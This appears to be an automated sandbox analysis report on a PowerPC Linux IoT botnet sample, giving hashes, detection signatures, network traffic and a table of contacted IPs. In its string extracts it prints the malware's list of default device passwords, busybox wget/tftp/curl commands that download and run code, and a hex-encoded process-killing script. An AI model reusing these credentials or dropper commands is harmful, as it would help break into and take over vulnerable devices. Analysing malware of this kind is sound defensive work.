Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name: la.bot.powerpc.elf
Analysis ID: 1543571
MD5: e15c61cc187c3c11e4556c13fd1512c4
SHA1: d264e2ac5e674e0de980a8c3a83cd50b216279e6
SHA256: 56e911f271420c098282340cb76351227872f9933b4f52570517373cc02f3d55
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.powerpc.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.powerpc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 23789,2,3,7,8,9
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:49708 -> 103.253.147.242:23789
Sample listens on a socket
Source: /tmp/la.bot.powerpc.elf (PID: 6239) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 36.180.59.234
Source: unknown TCP traffic detected without corresponding DNS query: 36.180.59.234
Source: unknown TCP traffic detected without corresponding DNS query: 135.138.28.110
Source: unknown TCP traffic detected without corresponding DNS query: 135.138.28.110
Source: unknown TCP traffic detected without corresponding DNS query: 47.100.207.126
Source: unknown TCP traffic detected without corresponding DNS query: 219.189.175.124
Source: unknown TCP traffic detected without corresponding DNS query: 47.100.207.126
Source: unknown TCP traffic detected without corresponding DNS query: 30.34.231.172
Source: unknown TCP traffic detected without corresponding DNS query: 219.189.175.124
Source: unknown TCP traffic detected without corresponding DNS query: 93.71.199.149
Source: unknown TCP traffic detected without corresponding DNS query: 30.34.231.172
Source: unknown TCP traffic detected without corresponding DNS query: 69.31.36.105
Source: unknown TCP traffic detected without corresponding DNS query: 93.71.199.149
Source: unknown TCP traffic detected without corresponding DNS query: 69.31.36.105
Source: unknown TCP traffic detected without corresponding DNS query: 115.117.253.162
Source: unknown TCP traffic detected without corresponding DNS query: 149.217.11.157
Source: unknown TCP traffic detected without corresponding DNS query: 115.117.253.162
Source: unknown TCP traffic detected without corresponding DNS query: 149.217.11.157
Source: unknown TCP traffic detected without corresponding DNS query: 28.80.240.174
Source: unknown TCP traffic detected without corresponding DNS query: 56.5.122.236
Source: unknown TCP traffic detected without corresponding DNS query: 180.231.111.173
Source: unknown TCP traffic detected without corresponding DNS query: 28.80.240.174
Source: unknown TCP traffic detected without corresponding DNS query: 56.5.122.236
Source: unknown TCP traffic detected without corresponding DNS query: 157.27.7.164
Source: unknown TCP traffic detected without corresponding DNS query: 14.239.75.107
Source: unknown TCP traffic detected without corresponding DNS query: 180.231.111.173
Source: unknown TCP traffic detected without corresponding DNS query: 211.191.188.217
Source: unknown TCP traffic detected without corresponding DNS query: 157.27.7.164
Source: unknown TCP traffic detected without corresponding DNS query: 181.174.43.101
Source: unknown TCP traffic detected without corresponding DNS query: 14.239.75.107
Source: unknown TCP traffic detected without corresponding DNS query: 54.12.143.218
Source: unknown TCP traffic detected without corresponding DNS query: 211.191.188.217
Source: unknown TCP traffic detected without corresponding DNS query: 138.32.0.92
Source: unknown TCP traffic detected without corresponding DNS query: 181.174.43.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.201.132.193
Source: unknown TCP traffic detected without corresponding DNS query: 54.12.143.218
Source: unknown TCP traffic detected without corresponding DNS query: 175.241.47.79
Source: unknown TCP traffic detected without corresponding DNS query: 138.32.0.92
Source: unknown TCP traffic detected without corresponding DNS query: 67.200.58.25
Source: unknown TCP traffic detected without corresponding DNS query: 23.201.132.193
Source: unknown TCP traffic detected without corresponding DNS query: 175.241.47.79
Source: unknown TCP traffic detected without corresponding DNS query: 80.41.55.224
Source: unknown TCP traffic detected without corresponding DNS query: 67.200.58.25
Source: unknown TCP traffic detected without corresponding DNS query: 87.66.186.236
Source: unknown TCP traffic detected without corresponding DNS query: 80.41.55.224
Source: unknown TCP traffic detected without corresponding DNS query: 219.32.119.134
Source: unknown TCP traffic detected without corresponding DNS query: 87.66.186.236
Source: unknown TCP traffic detected without corresponding DNS query: 42.42.247.185
Source: unknown TCP traffic detected without corresponding DNS query: 167.115.156.8
Source: unknown TCP traffic detected without corresponding DNS query: 219.32.119.134
Source: la.bot.powerpc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.powerpc.elf (PID: 6241) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.powerpc.elf (PID: 6242) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6241) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.powerpc.elf (PID: 6242) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.powerpc.elf (PID: 6239) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 6239.1.00007fff86b1f000.00007fff86b40000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
Source: la.bot.powerpc.elf, 6239.1.000055e045459000.000055e045509000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 6239.1.000055e045459000.000055e045509000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 6239.1.00007fff86b1f000.00007fff86b40000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
171.125.60.247
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
162.115.86.94
 unknown United States
12079 CELLCO-PARTUS false
48.124.187.107
 unknown United States
2686 ATGS-MMD-ASUS false
190.141.21.61
 unknown Panama
18809 CableOndaPA false
129.201.245.246
 unknown United States
158 ERI-ASUS false
144.221.200.236
 unknown United States
7896 NU-ASUS false
186.155.45.131
 unknown Colombia
19429 ETB-ColombiaCO false
53.212.6.9
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
138.231.136.224
 unknown France
2426 FR-RENATER-RUBISRUBISMetropolitanAreaNetworkEU false
202.6.204.2
 unknown Hong Kong
4739 INTERNODE-ASInternodePtyLtdAU false
114.99.150.102
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
94.41.242.226
 unknown Russian Federation
24955 UBN-ASRU false
6.161.91.135
 unknown United States
3356 LEVEL3US false
204.99.79.122
 unknown United States
18862 NCS-HEALTHCAREUS false
51.120.70.70
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
168.113.219.60
 unknown United States
36026 AS-CHI-CORPUS false
78.1.56.45
 unknown Croatia (LOCAL Name: Hrvatska)
5391 T-HTCroatianTelecomIncHR false
215.51.89.167
 unknown United States
721 DNIC-ASBLK-00721-00726US false
174.6.79.162
 unknown Canada
6327 SHAWCA false
190.140.151.65
 unknown Panama
18809 CableOndaPA false
80.18.189.56
 unknown Italy
3269 ASN-IBSNAZIT false
143.198.63.154
 unknown United States
15557 LDCOMNETFR false
144.110.253.169
 unknown Australia
6262 CSIROCommonwealthScientificandIndustrialAU false
167.21.107.10
 unknown United States
30641 STATEOFDEUS false
215.143.176.71
 unknown United States
721 DNIC-ASBLK-00721-00726US false
35.148.191.164
 unknown United States
394141 ROCKET-FIBERUS false
102.183.41.41
 unknown Liberia
37611 AfrihostZA false
20.11.31.170
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
219.181.182.238
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
97.16.234.41
 unknown United States
22394 CELLCOUS false
172.135.36.230
 unknown United States
7018 ATT-INTERNET4US false
170.23.24.182
 unknown United States
6102 CBSCORPORATEUS false
193.233.45.230
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU false
154.46.215.176
 unknown United States
174 COGENT-174US false
26.126.161.254
 unknown United States
7922 COMCAST-7922US false
203.247.206.233
 unknown Korea Republic of
1237 KREONET-AS-KRKISTIKR false
93.253.118.168
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
219.42.201.205
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
191.95.20.107
 unknown Colombia
27805 EPMTelecomunicacionesSAESPCO false
81.95.119.198
 unknown Belgium
42160 LCPDCOLCPASdcoostkampBE false
113.251.34.15
 unknown China
134420 CHINATELECOM-CHONGQING-IDCChongqingTelecomCN false
138.245.74.8
 unknown Germany
12816 MWN-ASDE false
191.242.70.71
 unknown Brazil
263473 SILVANIAALVESSANTOSMEBR false
90.114.242.182
 unknown France
3215 FranceTelecom-OrangeFR false
41.192.2.48
 unknown South Africa
29975 VODACOM-ZA false
152.159.213.173
 unknown United States
2686 ATGS-MMD-ASUS false
220.183.55.38
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
178.249.125.115
 unknown Norway
35132 ENIVEST-ASNO false
157.190.203.83
 unknown Ireland
1213 HEANETIE false
99.143.13.220
 unknown United States
7018 ATT-INTERNET4US false
166.20.218.40
 unknown United States
7834 L3HARRIS-TECHNOLOGIESUS false
2.95.115.101
 unknown Russian Federation
3216 SOVAM-ASRU false
213.152.184.170
 unknown Netherlands
49453 GLOBALLAYERNL false
65.193.186.179
 unknown United States
701 UUNETUS false
5.74.120.71
 unknown Iran (ISLAMIC Republic Of)
12880 DCI-ASIR false
104.57.92.200
 unknown United States
7018 ATT-INTERNET4US false
124.42.217.235
 unknown China
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
57.169.46.175
 unknown Belgium
2686 ATGS-MMD-ASUS false
206.50.62.30
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
204.161.208.194
 unknown United States
3356 LEVEL3US false
71.194.3.209
 unknown United States
7922 COMCAST-7922US false
141.236.14.211
 unknown United States
5972 DNIC-ASBLK-05800-06055US false
2.140.66.140
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
40.222.197.116
 unknown United States
4249 LILLY-ASUS false
146.93.80.137
 unknown United States
18709 BOTWUS false
52.172.77.116
